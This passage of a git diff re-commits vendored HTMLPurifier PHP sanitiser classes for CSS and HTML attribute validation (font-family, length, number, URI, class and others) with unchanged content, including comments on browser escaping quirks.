judicious character escaping (since certain - // types of escaping doesn't work) this is theoretically - // OK as long as innerHTML/cssText is not called. - // We believe that international is a reasonable default - // (that we will implement now), and once we do more - // extensive research, we may feel comfortable with dropping - // it down to edgy. - - // Edgy: alphanumeric, spaces, dashes, underscores and Unicode. Use of - // str(c)spn assumes that the string was already well formed - // Unicode (which of course it is). - if (strspn($font, $this->mask) !== strlen($font)) { - continue; - } - - // Historical: - // In the absence of innerHTML/cssText, these ugly - // transforms don't pose a security risk (as \\ and \" - // might--these escapes are not supported by most browsers). - // We could try to be clever and use single-quote wrapping - // when there is a double quote present, but I have choosen - // not to implement that. (NOTE: you can reduce the amount - // of escapes by one depending on what quoting style you use) - // $font = str_replace('\\', '\\5C ', $font); - // $font = str_replace('"', '\\22 ', $font); - // $font = str_replace("'", '\\27 ', $font); - - // font possibly with spaces, requires quoting - $final .= "'$font', "; - } - $final = rtrim($final, ', '); - if ($final === '') { - return false; - } - return $final; - } - -} - -// vim: et sw=4 sts=4 +mask = '_- '; + for ($c = 'a'; $c <= 'z'; $c++) { + $this->mask .= $c; + } + for ($c = 'A'; $c <= 'Z'; $c++) { + $this->mask .= $c; + } + for ($c = '0'; $c <= '9'; $c++) { + $this->mask .= $c; + } // cast-y, but should be fine + // special bytes used by UTF-8 + for ($i = 0x80; $i <= 0xFF; $i++) { + // We don't bother excluding invalid bytes in this range, + // because the our restriction of well-formed UTF-8 will + // prevent these from ever occurring. + $this->mask .= chr($i); + } + + /* + PHP's internal strcspn implementation is + O(length of string * length of mask), making it inefficient + for large masks. However, it's still faster than + preg_match 8) + for (p = s1;;) { + spanp = s2; + do { + if (*spanp == c || p == s1_end) { + return p - s1; + } + } while (spanp++ < (s2_end - 1)); + c = *++p; + } + */ + // possible optimization: invert the mask. + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + static $generic_names = array( + 'serif' => true, + 'sans-serif' => true, + 'monospace' => true, + 'fantasy' => true, + 'cursive' => true + ); + $allowed_fonts = $config->get('CSS.AllowedFonts'); + + // assume that no font names contain commas in them + $fonts = explode(',', $string); + $final = ''; + foreach ($fonts as $font) { + $font = trim($font); + if ($font === '') { + continue; + } + // match a generic name + if (isset($generic_names[$font])) { + if ($allowed_fonts === null || isset($allowed_fonts[$font])) { + $final .= $font . ', '; + } + continue; + } + // match a quoted name + if ($font[0] === '"' || $font[0] === "'") { + $length = strlen($font); + if ($length <= 2) { + continue; + } + $quote = $font[0]; + if ($font[$length - 1] !== $quote) { + continue; + } + $font = substr($font, 1, $length - 2); + } + + $font = $this->expandCSSEscape($font); + + // $font is a pure representation of the font name + + if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) { + continue; + } + + if (ctype_alnum($font) && $font !== '') { + // very simple font, allow it in unharmed + $final .= $font . ', '; + continue; + } + + // bugger out on whitespace. form feed (0C) really + // shouldn't show up regardless + $font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font); + + // Here, there are various classes of characters which need + // to be treated differently: + // - Alphanumeric characters are essentially safe. We + // handled these above. + // - Spaces require quoting, though most parsers will do + // the right thing if there aren't any characters that + // can be misinterpreted + // - Dashes rarely occur, but they fairly unproblematic + // for parsing/rendering purposes. + // The above characters cover the majority of Western font + // names. + // - Arbitrary Unicode characters not in ASCII. Because + // most parsers give little thought to Unicode, treatment + // of these codepoints is basically uniform, even for + // punctuation-like codepoints. These characters can + // show up in non-Western pages and are supported by most + // major browsers, for example: "MS 明朝" is a + // legitimate font-name + // . See + // the CSS3 spec for more examples: + // + // You can see live samples of these on the Internet: + // + // However, most of these fonts have ASCII equivalents: + // for example, 'MS Mincho', and it's considered + // professional to use ASCII font names instead of + // Unicode font names. Thanks Takeshi Terada for + // providing this information. + // The following characters, to my knowledge, have not been + // used to name font names. + // - Single quote. While theoretically you might find a + // font name that has a single quote in its name (serving + // as an apostrophe, e.g. Dave's Scribble), I haven't + // been able to find any actual examples of this. + // Internet Explorer's cssText translation (which I + // believe is invoked by innerHTML) normalizes any + // quoting to single quotes, and fails to escape single + // quotes. (Note that this is not IE's behavior for all + // CSS properties, just some sort of special casing for + // font-family). So a single quote *cannot* be used + // safely in the font-family context if there will be an + // innerHTML/cssText translation. Note that Firefox 3.x + // does this too. + // - Double quote. In IE, these get normalized to + // single-quotes, no matter what the encoding. (Fun + // fact, in IE8, the 'content' CSS property gained + // support, where they special cased to preserve encoded + // double quotes, but still translate unadorned double + // quotes into single quotes.) So, because their + // fixpoint behavior is identical to single quotes, they + // cannot be allowed either. Firefox 3.x displays + // single-quote style behavior. + // - Backslashes are reduced by one (so \\ -> \) every + // iteration, so they cannot be used safely. This shows + // up in IE7, IE8 and FF3 + // - Semicolons, commas and backticks are handled properly. + // - The rest of the ASCII punctuation is handled properly. + // We haven't checked what browsers do to unadorned + // versions, but this is not important as long as the + // browser doesn't /remove/ surrounding quotes (as IE does + // for HTML). + // + // With these results in hand, we conclude that there are + // various levels of safety: + // - Paranoid: alphanumeric, spaces and dashes(?) + // - International: Paranoid + non-ASCII Unicode + // - Edgy: Everything except quotes, backslashes + // - NoJS: Standards compliance, e.g. sod IE. Note that + // with some judicious character escaping (since certain + // types of escaping doesn't work) this is theoretically + // OK as long as innerHTML/cssText is not called. + // We believe that international is a reasonable default + // (that we will implement now), and once we do more + // extensive research, we may feel comfortable with dropping + // it down to edgy. + + // Edgy: alphanumeric, spaces, dashes, underscores and Unicode. Use of + // str(c)spn assumes that the string was already well formed + // Unicode (which of course it is). + if (strspn($font, $this->mask) !== strlen($font)) { + continue; + } + + // Historical: + // In the absence of innerHTML/cssText, these ugly + // transforms don't pose a security risk (as \\ and \" + // might--these escapes are not supported by most browsers). + // We could try to be clever and use single-quote wrapping + // when there is a double quote present, but I have choosen + // not to implement that. (NOTE: you can reduce the amount + // of escapes by one depending on what quoting style you use) + // $font = str_replace('\\', '\\5C ', $font); + // $font = str_replace('"', '\\22 ', $font); + // $font = str_replace("'", '\\27 ', $font); + + // font possibly with spaces, requires quoting + $final .= "'$font', "; + } + $final = rtrim($final, ', '); + if ($final === '') { + return false; + } + return $final; + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php index 5f13edfd10..973002c17f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php @@ -1,32 +1,32 @@ -def = $def; - $this->allow = $allow; - } - - /** - * Intercepts and removes !important if necessary - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - // test for ! and important tokens - $string = trim($string); - $is_important = false; - // :TODO: optimization: test directly for !important and ! important - if (strlen($string) >= 9 && substr($string, -9) === 'important') { - $temp = rtrim(substr($string, 0, -9)); - // use a temp, because we might want to restore important - if (strlen($temp) >= 1 && substr($temp, -1) === '!') { - $string = rtrim(substr($temp, 0, -1)); - $is_important = true; - } - } - $string = $this->def->validate($string, $config, $context); - if ($this->allow && $is_important) { - $string .= ' !important'; - } - return $string; - } -} - -// vim: et sw=4 sts=4 +def = $def; + $this->allow = $allow; + } + + /** + * Intercepts and removes !important if necessary + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // test for ! and important tokens + $string = trim($string); + $is_important = false; + // :TODO: optimization: test directly for !important and ! important + if (strlen($string) >= 9 && substr($string, -9) === 'important') { + $temp = rtrim(substr($string, 0, -9)); + // use a temp, because we might want to restore important + if (strlen($temp) >= 1 && substr($temp, -1) === '!') { + $string = rtrim(substr($temp, 0, -1)); + $is_important = true; + } + } + $string = $this->def->validate($string, $config, $context); + if ($this->allow && $is_important) { + $string .= ' !important'; + } + return $string; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php index 88da41d93d..f12453a04a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php @@ -1,77 +1,77 @@ -min = $min !== null ? HTMLPurifier_Length::make($min) : null; - $this->max = $max !== null ? HTMLPurifier_Length::make($max) : null; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = $this->parseCDATA($string); - - // Optimizations - if ($string === '') { - return false; - } - if ($string === '0') { - return '0'; - } - if (strlen($string) === 1) { - return false; - } - - $length = HTMLPurifier_Length::make($string); - if (!$length->isValid()) { - return false; - } - - if ($this->min) { - $c = $length->compareTo($this->min); - if ($c === false) { - return false; - } - if ($c < 0) { - return false; - } - } - if ($this->max) { - $c = $length->compareTo($this->max); - if ($c === false) { - return false; - } - if ($c > 0) { - return false; - } - } - return $length->toString(); - } -} - -// vim: et sw=4 sts=4 +min = $min !== null ? HTMLPurifier_Length::make($min) : null; + $this->max = $max !== null ? HTMLPurifier_Length::make($max) : null; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + + // Optimizations + if ($string === '') { + return false; + } + if ($string === '0') { + return '0'; + } + if (strlen($string) === 1) { + return false; + } + + $length = HTMLPurifier_Length::make($string); + if (!$length->isValid()) { + return false; + } + + if ($this->min) { + $c = $length->compareTo($this->min); + if ($c === false) { + return false; + } + if ($c < 0) { + return false; + } + } + if ($this->max) { + $c = $length->compareTo($this->max); + if ($c === false) { + return false; + } + if ($c > 0) { + return false; + } + } + return $length->toString(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php index b4cce9a9df..e74d42654e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php @@ -1,112 +1,112 @@ -getCSSDefinition(); - $this->info['list-style-type'] = $def->info['list-style-type']; - $this->info['list-style-position'] = $def->info['list-style-position']; - $this->info['list-style-image'] = $def->info['list-style-image']; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') { - return false; - } - - // assumes URI doesn't have spaces in it - $bits = explode(' ', strtolower($string)); // bits to process - - $caught = array(); - $caught['type'] = false; - $caught['position'] = false; - $caught['image'] = false; - - $i = 0; // number of catches - $none = false; - - foreach ($bits as $bit) { - if ($i >= 3) { - return; - } // optimization bit - if ($bit === '') { - continue; - } - foreach ($caught as $key => $status) { - if ($status !== false) { - continue; - } - $r = $this->info['list-style-' . $key]->validate($bit, $config, $context); - if ($r === false) { - continue; - } - if ($r === 'none') { - if ($none) { - continue; - } else { - $none = true; - } - if ($key == 'image') { - continue; - } - } - $caught[$key] = $r; - $i++; - break; - } - } - - if (!$i) { - return false; - } - - $ret = array(); - - // construct type - if ($caught['type']) { - $ret[] = $caught['type']; - } - - // construct image - if ($caught['image']) { - $ret[] = $caught['image']; - } - - // construct position - if ($caught['position']) { - $ret[] = $caught['position']; - } - - if (empty($ret)) { - return false; - } - return implode(' ', $ret); - } -} - -// vim: et sw=4 sts=4 +getCSSDefinition(); + $this->info['list-style-type'] = $def->info['list-style-type']; + $this->info['list-style-position'] = $def->info['list-style-position']; + $this->info['list-style-image'] = $def->info['list-style-image']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // assumes URI doesn't have spaces in it + $bits = explode(' ', strtolower($string)); // bits to process + + $caught = array(); + $caught['type'] = false; + $caught['position'] = false; + $caught['image'] = false; + + $i = 0; // number of catches + $none = false; + + foreach ($bits as $bit) { + if ($i >= 3) { + return; + } // optimization bit + if ($bit === '') { + continue; + } + foreach ($caught as $key => $status) { + if ($status !== false) { + continue; + } + $r = $this->info['list-style-' . $key]->validate($bit, $config, $context); + if ($r === false) { + continue; + } + if ($r === 'none') { + if ($none) { + continue; + } else { + $none = true; + } + if ($key == 'image') { + continue; + } + } + $caught[$key] = $r; + $i++; + break; + } + } + + if (!$i) { + return false; + } + + $ret = array(); + + // construct type + if ($caught['type']) { + $ret[] = $caught['type']; + } + + // construct image + if ($caught['image']) { + $ret[] = $caught['image']; + } + + // construct position + if ($caught['position']) { + $ret[] = $caught['position']; + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php index 4efb6c04f1..e707f871ca 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php @@ -1,71 +1,71 @@ -single = $single; - $this->max = $max; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = $this->mungeRgb($this->parseCDATA($string)); - if ($string === '') { - return false; - } - $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n - $length = count($parts); - $final = ''; - for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) { - if (ctype_space($parts[$i])) { - continue; - } - $result = $this->single->validate($parts[$i], $config, $context); - if ($result !== false) { - $final .= $result . ' '; - $num++; - } - } - if ($final === '') { - return false; - } - return rtrim($final); - } -} - -// vim: et sw=4 sts=4 +single = $single; + $this->max = $max; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->mungeRgb($this->parseCDATA($string)); + if ($string === '') { + return false; + } + $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n + $length = count($parts); + $final = ''; + for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) { + if (ctype_space($parts[$i])) { + continue; + } + $result = $this->single->validate($parts[$i], $config, $context); + if ($result !== false) { + $final .= $result . ' '; + $num++; + } + } + if ($final === '') { + return false; + } + return rtrim($final); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php index 2a41d64505..ef49d20fdd 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php @@ -1,90 +1,90 @@ -non_negative = $non_negative; - } - - /** - * @param string $number - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return string|bool - * @warning Some contexts do not pass $config, $context. These - * variables should not be used without checking HTMLPurifier_Length - */ - public function validate($number, $config, $context) - { - $number = $this->parseCDATA($number); - - if ($number === '') { - return false; - } - if ($number === '0') { - return '0'; - } - - $sign = ''; - switch ($number[0]) { - case '-': - if ($this->non_negative) { - return false; - } - $sign = '-'; - case '+': - $number = substr($number, 1); - } - - if (ctype_digit($number)) { - $number = ltrim($number, '0'); - return $number ? $sign . $number : '0'; - } - - // Period is the only non-numeric character allowed - if (strpos($number, '.') === false) { - return false; - } - - list($left, $right) = explode('.', $number, 2); - - if ($left === '' && $right === '') { - return false; - } - if ($left !== '' && !ctype_digit($left)) { - return false; - } - - // Remove leading zeros until positive number or a zero stays left - if (ltrim($left, '0') != '') { - $left = ltrim($left, '0'); - } else { - $left = '0'; - } - - $right = rtrim($right, '0'); - - if ($right === '') { - return $left ? $sign . $left : '0'; - } elseif (!ctype_digit($right)) { - return false; - } - return $sign . $left . '.' . $right; - } -} - -// vim: et sw=4 sts=4 +non_negative = $non_negative; + } + + /** + * @param string $number + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string|bool + * @warning Some contexts do not pass $config, $context. These + * variables should not be used without checking HTMLPurifier_Length + */ + public function validate($number, $config, $context) + { + $number = $this->parseCDATA($number); + + if ($number === '') { + return false; + } + if ($number === '0') { + return '0'; + } + + $sign = ''; + switch ($number[0]) { + case '-': + if ($this->non_negative) { + return false; + } + $sign = '-'; + case '+': + $number = substr($number, 1); + } + + if (ctype_digit($number)) { + $number = ltrim($number, '0'); + return $number ? $sign . $number : '0'; + } + + // Period is the only non-numeric character allowed + if (strpos($number, '.') === false) { + return false; + } + + list($left, $right) = explode('.', $number, 2); + + if ($left === '' && $right === '') { + return false; + } + if ($left !== '' && !ctype_digit($left)) { + return false; + } + + // Remove leading zeros until positive number or a zero stays left + if (ltrim($left, '0') != '') { + $left = ltrim($left, '0'); + } else { + $left = '0'; + } + + $right = rtrim($right, '0'); + + if ($right === '') { + return $left ? $sign . $left : '0'; + } elseif (!ctype_digit($right)) { + return false; + } + return $sign . $left . '.' . $right; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php index aac1a6f5fc..f0f25c50a8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php @@ -1,54 +1,54 @@ -number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = $this->parseCDATA($string); - - if ($string === '') { - return false; - } - $length = strlen($string); - if ($length === 1) { - return false; - } - if ($string[$length - 1] !== '%') { - return false; - } - - $number = substr($string, 0, $length - 1); - $number = $this->number_def->validate($number, $config, $context); - - if ($number === false) { - return false; - } - return "$number%"; - } -} - -// vim: et sw=4 sts=4 +number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + + if ($string === '') { + return false; + } + $length = strlen($string); + if ($length === 1) { + return false; + } + if ($string[$length - 1] !== '%') { + return false; + } + + $number = substr($string, 0, $length - 1); + $number = $this->number_def->validate($number, $config, $context); + + if ($number === false) { + return false; + } + return "$number%"; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php index 3992de0e60..5fd4b7f7b4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php @@ -1,46 +1,46 @@ - true, - 'overline' => true, - 'underline' => true, - ); - - $string = strtolower($this->parseCDATA($string)); - - if ($string === 'none') { - return $string; - } - - $parts = explode(' ', $string); - $final = ''; - foreach ($parts as $part) { - if (isset($allowed_values[$part])) { - $final .= $part . ' '; - } - } - $final = rtrim($final); - if ($final === '') { - return false; - } - return $final; - } -} - -// vim: et sw=4 sts=4 + true, + 'overline' => true, + 'underline' => true, + ); + + $string = strtolower($this->parseCDATA($string)); + + if ($string === 'none') { + return $string; + } + + $parts = explode(' ', $string); + $final = ''; + foreach ($parts as $part) { + if (isset($allowed_values[$part])) { + $final .= $part . ' '; + } + } + $final = rtrim($final); + if ($final === '') { + return false; + } + return $final; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php index 3d18b3289e..6617acace5 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php @@ -1,77 +1,77 @@ -parseCDATA($uri_string); - if (strpos($uri_string, 'url(') !== 0) { - return false; - } - $uri_string = substr($uri_string, 4); - if (strlen($uri_string) == 0) { - return false; - } - $new_length = strlen($uri_string) - 1; - if ($uri_string[$new_length] != ')') { - return false; - } - $uri = trim(substr($uri_string, 0, $new_length)); - - if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) { - $quote = $uri[0]; - $new_length = strlen($uri) - 1; - if ($uri[$new_length] !== $quote) { - return false; - } - $uri = substr($uri, 1, $new_length - 1); - } - - $uri = $this->expandCSSEscape($uri); - - $result = parent::validate($uri, $config, $context); - - if ($result === false) { - return false; - } - - // extra sanity check; should have been done by URI - $result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result); - - // suspicious characters are ()'; we're going to percent encode - // them for safety. - $result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result); - - // there's an extra bug where ampersands lose their escaping on - // an innerHTML cycle, so a very unlucky query parameter could - // then change the meaning of the URL. Unfortunately, there's - // not much we can do about that... - return "url(\"$result\")"; - } -} - -// vim: et sw=4 sts=4 +parseCDATA($uri_string); + if (strpos($uri_string, 'url(') !== 0) { + return false; + } + $uri_string = substr($uri_string, 4); + if (strlen($uri_string) == 0) { + return false; + } + $new_length = strlen($uri_string) - 1; + if ($uri_string[$new_length] != ')') { + return false; + } + $uri = trim(substr($uri_string, 0, $new_length)); + + if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) { + $quote = $uri[0]; + $new_length = strlen($uri) - 1; + if ($uri[$new_length] !== $quote) { + return false; + } + $uri = substr($uri, 1, $new_length - 1); + } + + $uri = $this->expandCSSEscape($uri); + + $result = parent::validate($uri, $config, $context); + + if ($result === false) { + return false; + } + + // extra sanity check; should have been done by URI + $result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result); + + // suspicious characters are ()'; we're going to percent encode + // them for safety. + $result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result); + + // there's an extra bug where ampersands lose their escaping on + // an innerHTML cycle, so a very unlucky query parameter could + // then change the meaning of the URL. Unfortunately, there's + // not much we can do about that... + return "url(\"$result\")"; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php index b181d1bcd4..6698a00c01 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php @@ -1,44 +1,44 @@ -clone = $clone; - } - - /** - * @param string $v - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($v, $config, $context) - { - return $this->clone->validate($v, $config, $context); - } - - /** - * @param string $string - * @return HTMLPurifier_AttrDef - */ - public function make($string) - { - return clone $this->clone; - } -} - -// vim: et sw=4 sts=4 +clone = $clone; + } + + /** + * @param string $v + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($v, $config, $context) + { + return $this->clone->validate($v, $config, $context); + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef + */ + public function make($string) + { + return clone $this->clone; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php index b40122b6ca..8abda7f6e2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php @@ -1,73 +1,73 @@ -valid_values = array_flip($valid_values); - $this->case_sensitive = $case_sensitive; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - $string = trim($string); - if (!$this->case_sensitive) { - // we may want to do full case-insensitive libraries - $string = ctype_lower($string) ? $string : strtolower($string); - } - $result = isset($this->valid_values[$string]); - - return $result ? $string : false; - } - - /** - * @param string $string In form of comma-delimited list of case-insensitive - * valid values. Example: "foo,bar,baz". Prepend "s:" to make - * case sensitive - * @return HTMLPurifier_AttrDef_Enum - */ - public function make($string) - { - if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') { - $string = substr($string, 2); - $sensitive = true; - } else { - $sensitive = false; - } - $values = explode(',', $string); - return new HTMLPurifier_AttrDef_Enum($values, $sensitive); - } -} - -// vim: et sw=4 sts=4 +valid_values = array_flip($valid_values); + $this->case_sensitive = $case_sensitive; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = trim($string); + if (!$this->case_sensitive) { + // we may want to do full case-insensitive libraries + $string = ctype_lower($string) ? $string : strtolower($string); + } + $result = isset($this->valid_values[$string]); + + return $result ? $string : false; + } + + /** + * @param string $string In form of comma-delimited list of case-insensitive + * valid values. Example: "foo,bar,baz". Prepend "s:" to make + * case sensitive + * @return HTMLPurifier_AttrDef_Enum + */ + public function make($string) + { + if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') { + $string = substr($string, 2); + $sensitive = true; + } else { + $sensitive = false; + } + $values = explode(',', $string); + return new HTMLPurifier_AttrDef_Enum($values, $sensitive); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php index bf54e8ef4c..be3bbc8dc0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php @@ -1,48 +1,48 @@ -name = $name; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - return $this->name; - } - - /** - * @param string $string Name of attribute - * @return HTMLPurifier_AttrDef_HTML_Bool - */ - public function make($string) - { - return new HTMLPurifier_AttrDef_HTML_Bool($string); - } -} - -// vim: et sw=4 sts=4 +name = $name; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + return $this->name; + } + + /** + * @param string $string Name of attribute + * @return HTMLPurifier_AttrDef_HTML_Bool + */ + public function make($string) + { + return new HTMLPurifier_AttrDef_HTML_Bool($string); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php index b874c7e1ae..d5013488fc 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php @@ -1,48 +1,48 @@ -getDefinition('HTML')->doctype->name; - if ($name == "XHTML 1.1" || $name == "XHTML 2.0") { - return parent::split($string, $config, $context); - } else { - return preg_split('/\s+/', $string); - } - } - - /** - * @param array $tokens - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - protected function filter($tokens, $config, $context) - { - $allowed = $config->get('Attr.AllowedClasses'); - $forbidden = $config->get('Attr.ForbiddenClasses'); - $ret = array(); - foreach ($tokens as $token) { - if (($allowed === null || isset($allowed[$token])) && - !isset($forbidden[$token]) && - // We need this O(n) check because of PHP's array - // implementation that casts -0 to 0. - !in_array($token, $ret, true) - ) { - $ret[] = $token; - } - } - return $ret; - } -} +getDefinition('HTML')->doctype->name; + if ($name == "XHTML 1.1" || $name == "XHTML 2.0") { + return parent::split($string, $config, $context); + } else { + return preg_split('/\s+/', $string); + } + } + + /** + * @param array $tokens + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function filter($tokens, $config, $context) + { + $allowed = $config->get('Attr.AllowedClasses'); + $forbidden = $config->get('Attr.ForbiddenClasses'); + $ret = array(); + foreach ($tokens as $token) { + if (($allowed === null || isset($allowed[$token])) && + !isset($forbidden[$token]) && + // We need this O(n) check because of PHP's array + // implementation that casts -0 to 0. + !in_array($token, $ret, true) + ) { + $ret[] = $token; + } + } + return $ret; + } +} diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php index 25c93fc6e5..946ebb7820 100644 